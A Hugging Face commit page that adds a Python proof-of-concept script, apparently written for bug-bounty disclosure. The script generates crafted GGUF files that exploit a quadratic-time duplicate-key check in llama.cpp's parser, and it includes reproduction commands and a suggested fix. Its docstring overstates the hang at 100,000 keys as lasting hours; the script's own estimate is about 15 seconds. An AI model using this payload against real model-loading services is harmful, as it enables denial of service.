salvepilo commited on
Commit
efb66a2
·
verified ·
1 Parent(s): c49cae9

Upload poc_quadratic_dos.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. poc_quadratic_dos.py +294 -0
poc_quadratic_dos.py ADDED
@@ -0,0 +1,294 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC: O(n^2) Algorithmic Complexity DoS in GGUF Parser (llama.cpp)
4
+
5
+ Vulnerability: In ggml/src/gguf.cpp, duplicate key checking for KV pairs
6
+ (lines 429-434) and tensor names (lines 512-518) uses O(n) linear scan
7
+ per entry, resulting in O(n^2) total comparisons.
8
+
9
+ For n_kv = 100,000 unique keys:
10
+ sum(i for i in range(100000)) = 4,999,950,000 string comparisons
11
+
12
+ A crafted GGUF file of ~15 MB can cause any llama.cpp tool (llama-cli,
13
+ llama-quantize, llama-gguf, etc.) to hang for hours during model loading.
14
+
15
+ The vulnerable code:
16
+ for (size_t j = 0; ok && j < ctx->kv.size(); ++j) {
17
+ if (key == ctx->kv[j].key) {
18
+ GGML_LOG_ERROR("...");
19
+ ok = false;
20
+ }
21
+ }
22
+
23
+ This PoC generates a valid GGUF v3 file with many unique KV pairs, each
24
+ of minimal size (GGUF_TYPE_UINT8 = 0, value = 0x00). All keys are unique
25
+ so the duplicate check never short-circuits -- it always scans the entire
26
+ accumulated list.
27
+
28
+ Usage:
29
+ python3 poc_quadratic_dos.py # generates both files
30
+ python3 poc_quadratic_dos.py --n-kv 100000 # custom count
31
+ python3 poc_quadratic_dos.py --control-only # just the 10-key control
32
+
33
+ Then test with any llama.cpp tool:
34
+ time ./build/bin/llama-gguf poc_quadratic_100000.gguf
35
+ time ./build/bin/llama-gguf poc_control_10.gguf
36
+
37
+ Author: Security researcher (huntr.com bug bounty)
38
+ """
39
+
40
+ import argparse
41
+ import os
42
+ import struct
43
+ import sys
44
+ import time
45
+
46
+ # GGUF constants
47
+ GGUF_MAGIC = b"GGUF"
48
+ GGUF_VERSION = 3
49
+ GGUF_TYPE_UINT8 = 0
50
+ GGUF_TYPE_STRING = 8
51
+
52
+
53
+ def write_gguf_string(f, s: str):
54
+ """Write a GGUF string: uint64 length + raw bytes (no null terminator)."""
55
+ encoded = s.encode("utf-8")
56
+ f.write(struct.pack("<Q", len(encoded)))
57
+ f.write(encoded)
58
+
59
+
60
+ def write_gguf_kv_uint8(f, key: str, value: int):
61
+ """Write a single KV pair with type GGUF_TYPE_UINT8."""
62
+ write_gguf_string(f, key)
63
+ f.write(struct.pack("<I", GGUF_TYPE_UINT8)) # value type (uint32)
64
+ f.write(struct.pack("<B", value)) # value (uint8)
65
+
66
+
67
+ def write_gguf_kv_string(f, key: str, value: str):
68
+ """Write a single KV pair with type GGUF_TYPE_STRING."""
69
+ write_gguf_string(f, key)
70
+ f.write(struct.pack("<I", GGUF_TYPE_STRING)) # value type (uint32)
71
+ write_gguf_string(f, value)
72
+
73
+
74
+ def generate_gguf(filepath: str, n_kv: int, include_arch: bool = True):
75
+ """
76
+ Generate a minimal GGUF v3 file with n_kv unique KV pairs.
77
+
78
+ The file structure:
79
+ Header:
80
+ 4 bytes - magic "GGUF"
81
+ 4 bytes - version (uint32 = 3)
82
+ 8 bytes - n_tensors (int64/uint64 = 0)
83
+ 8 bytes - n_kv (int64/uint64)
84
+ KV Pairs (n_kv entries):
85
+ Each entry:
86
+ 8 bytes - key string length (uint64)
87
+ variable - key string bytes
88
+ 4 bytes - value type (uint32)
89
+ variable - value bytes (1 byte for UINT8)
90
+
91
+ If include_arch is True, the first KV pair is "general.architecture" = "llama"
92
+ (type STRING), and the remaining n_kv-1 pairs are "kNNNNN" = 0 (type UINT8).
93
+ """
94
+ # Calculate total KV entries
95
+ # If include_arch, one slot is used for "general.architecture"
96
+ n_filler = n_kv - 1 if include_arch else n_kv
97
+
98
+ with open(filepath, "wb") as f:
99
+ # -- Header --
100
+ f.write(GGUF_MAGIC) # magic
101
+ f.write(struct.pack("<I", GGUF_VERSION)) # version (uint32)
102
+ f.write(struct.pack("<q", 0)) # n_tensors (int64 = 0)
103
+ f.write(struct.pack("<q", n_kv)) # n_kv (int64)
104
+
105
+ # -- KV Pairs --
106
+ if include_arch:
107
+ write_gguf_kv_string(f, "general.architecture", "llama")
108
+
109
+ # Write filler KV pairs with unique short keys
110
+ # Key format: "k00000" through "k99999" (6 bytes each for n_kv <= 100000)
111
+ # This keeps the file small while maximizing the number of entries.
112
+ key_width = len(str(n_filler - 1)) if n_filler > 0 else 1
113
+ for i in range(n_filler):
114
+ key = f"k{i:0{key_width}d}"
115
+ write_gguf_kv_uint8(f, key, 0)
116
+
117
+ file_size = os.path.getsize(filepath)
118
+ return file_size
119
+
120
+
121
+ def estimate_time(n_kv: int):
122
+ """Estimate the wallclock time for the O(n^2) duplicate check."""
123
+ # Total string comparisons: sum(0 + 1 + 2 + ... + (n_kv - 1))
124
+ total_comparisons = n_kv * (n_kv - 1) // 2
125
+
126
+ # Empirically measured on Apple Silicon (M-series):
127
+ # n_kv=100000 -> 5B comparisons in ~14.7s user time -> ~340M comp/sec
128
+ # Using 340M/sec based on actual measurement with llama-cli.
129
+ comparisons_per_sec = 340_000_000
130
+
131
+ estimated_seconds = total_comparisons / comparisons_per_sec
132
+
133
+ return total_comparisons, estimated_seconds
134
+
135
+
136
+ def verify_gguf_structure(filepath: str):
137
+ """Read back the GGUF file and verify the binary structure is correct."""
138
+ with open(filepath, "rb") as f:
139
+ # Magic
140
+ magic = f.read(4)
141
+ assert magic == GGUF_MAGIC, f"Bad magic: {magic}"
142
+
143
+ # Version
144
+ version = struct.unpack("<I", f.read(4))[0]
145
+ assert version == GGUF_VERSION, f"Bad version: {version}"
146
+
147
+ # n_tensors
148
+ n_tensors = struct.unpack("<q", f.read(8))[0]
149
+ assert n_tensors == 0, f"Bad n_tensors: {n_tensors}"
150
+
151
+ # n_kv
152
+ n_kv = struct.unpack("<q", f.read(8))[0]
153
+ assert n_kv > 0, f"Bad n_kv: {n_kv}"
154
+
155
+ # Read all KV pairs to verify structure
156
+ for i in range(n_kv):
157
+ # Key string
158
+ key_len = struct.unpack("<Q", f.read(8))[0]
159
+ key = f.read(key_len).decode("utf-8")
160
+
161
+ # Value type
162
+ vtype = struct.unpack("<I", f.read(4))[0]
163
+
164
+ # Value
165
+ if vtype == GGUF_TYPE_UINT8:
166
+ val = struct.unpack("<B", f.read(1))[0]
167
+ elif vtype == GGUF_TYPE_STRING:
168
+ val_len = struct.unpack("<Q", f.read(8))[0]
169
+ val = f.read(val_len).decode("utf-8")
170
+ else:
171
+ raise ValueError(f"Unexpected type {vtype} for key '{key}'")
172
+
173
+ # Should be at EOF
174
+ remaining = f.read()
175
+ assert len(remaining) == 0, f"Unexpected trailing bytes: {len(remaining)}"
176
+
177
+ return n_kv
178
+
179
+
180
+ def main():
181
+ parser = argparse.ArgumentParser(
182
+ description="PoC: O(n^2) Algorithmic Complexity DoS in GGUF Parser"
183
+ )
184
+ parser.add_argument(
185
+ "--n-kv", type=int, default=100_000,
186
+ help="Number of KV pairs for the DoS payload (default: 100000)"
187
+ )
188
+ parser.add_argument(
189
+ "--output-dir", type=str, default=None,
190
+ help="Output directory (default: same directory as this script)"
191
+ )
192
+ parser.add_argument(
193
+ "--control-only", action="store_true",
194
+ help="Only generate the small control file"
195
+ )
196
+ args = parser.parse_args()
197
+
198
+ if args.output_dir is None:
199
+ args.output_dir = os.path.dirname(os.path.abspath(__file__))
200
+
201
+ os.makedirs(args.output_dir, exist_ok=True)
202
+
203
+ # ----------------------------------------------------------------
204
+ # 1. Generate the control file (10 KV pairs)
205
+ # ----------------------------------------------------------------
206
+ control_path = os.path.join(args.output_dir, "poc_control_10.gguf")
207
+ print(f"[*] Generating control GGUF: {control_path}")
208
+ t0 = time.time()
209
+ control_size = generate_gguf(control_path, n_kv=10)
210
+ t1 = time.time()
211
+ print(f" Size: {control_size} bytes ({control_size / 1024:.1f} KB)")
212
+ print(f" Generated in {t1 - t0:.3f} seconds")
213
+
214
+ # Verify control
215
+ n_verified = verify_gguf_structure(control_path)
216
+ print(f" Verified: {n_verified} KV pairs, valid GGUF v3 structure")
217
+
218
+ comparisons_ctrl, est_time_ctrl = estimate_time(10)
219
+ print(f" Duplicate check comparisons: {comparisons_ctrl:,}")
220
+ print(f" Estimated parsing time: {est_time_ctrl:.6f} seconds (instant)")
221
+ print()
222
+
223
+ if args.control_only:
224
+ print("[*] Done (control only).")
225
+ return
226
+
227
+ # ----------------------------------------------------------------
228
+ # 2. Generate the DoS payload file
229
+ # ----------------------------------------------------------------
230
+ n_kv = args.n_kv
231
+ payload_path = os.path.join(args.output_dir, f"poc_quadratic_{n_kv}.gguf")
232
+ print(f"[*] Generating DoS payload GGUF: {payload_path}")
233
+ print(f" n_kv = {n_kv:,}")
234
+
235
+ t0 = time.time()
236
+ payload_size = generate_gguf(payload_path, n_kv=n_kv)
237
+ t1 = time.time()
238
+ print(f" Size: {payload_size:,} bytes ({payload_size / 1024 / 1024:.2f} MB)")
239
+ print(f" Generated in {t1 - t0:.3f} seconds")
240
+
241
+ # Verify payload
242
+ print(f" Verifying structure (reading back {n_kv:,} KV pairs)...")
243
+ t0 = time.time()
244
+ n_verified = verify_gguf_structure(payload_path)
245
+ t1 = time.time()
246
+ print(f" Verified: {n_verified:,} KV pairs, valid GGUF v3 structure")
247
+ print(f" Verification took {t1 - t0:.3f} seconds")
248
+ print()
249
+
250
+ # ----------------------------------------------------------------
251
+ # 3. Impact analysis
252
+ # ----------------------------------------------------------------
253
+ total_comparisons, estimated_seconds = estimate_time(n_kv)
254
+ print("[*] Impact analysis:")
255
+ print(f" Total string comparisons in O(n^2) duplicate check:")
256
+ print(f" sum(0..{n_kv - 1}) = {total_comparisons:,}")
257
+ print(f" Estimated wallclock time: {estimated_seconds:,.0f} seconds "
258
+ f"(~{estimated_seconds / 3600:.1f} hours)")
259
+ print(f" File size: {payload_size / 1024 / 1024:.2f} MB")
260
+ print(f" Amplification ratio: {total_comparisons / payload_size:.0f} "
261
+ f"comparisons per byte")
262
+ print()
263
+
264
+ # Comparison table for different n_kv values
265
+ print("[*] Scaling behavior (O(n^2)):")
266
+ print(f" {'n_kv':>12s} {'Comparisons':>20s} {'Est. Time':>15s} {'File Size':>12s}")
267
+ print(f" {'----':>12s} {'----------':>20s} {'---------':>15s} {'---------':>12s}")
268
+ for test_n in [10, 1_000, 10_000, 100_000, 1_000_000]:
269
+ comps, est = estimate_time(test_n)
270
+ # Estimate file size: header(24) + arch_kv(~50) + n * (8 + 6 + 4 + 1)
271
+ key_w = len(str(test_n - 1))
272
+ est_size = 24 + 50 + (test_n - 1) * (8 + 1 + key_w + 4 + 1)
273
+ if est < 1:
274
+ time_str = f"{est * 1000:.1f} ms"
275
+ elif est < 3600:
276
+ time_str = f"{est:.0f} sec"
277
+ else:
278
+ time_str = f"{est / 3600:.1f} hours"
279
+ size_str = f"{est_size / 1024 / 1024:.1f} MB" if est_size > 1024 * 1024 else f"{est_size / 1024:.1f} KB"
280
+ print(f" {test_n:>12,d} {comps:>20,d} {time_str:>15s} {size_str:>12s}")
281
+
282
+ print()
283
+ print("[*] To reproduce the DoS:")
284
+ print(f" time ./build/bin/llama-gguf {payload_path}")
285
+ print(f" # Compare with control:")
286
+ print(f" time ./build/bin/llama-gguf {control_path}")
287
+ print()
288
+ print("[*] Suggested fix: Use std::unordered_set<std::string> for O(1) "
289
+ "average-case duplicate checking, reducing total complexity from "
290
+ "O(n^2) to O(n).")
291
+
292
+
293
+ if __name__ == "__main__":
294
+ main()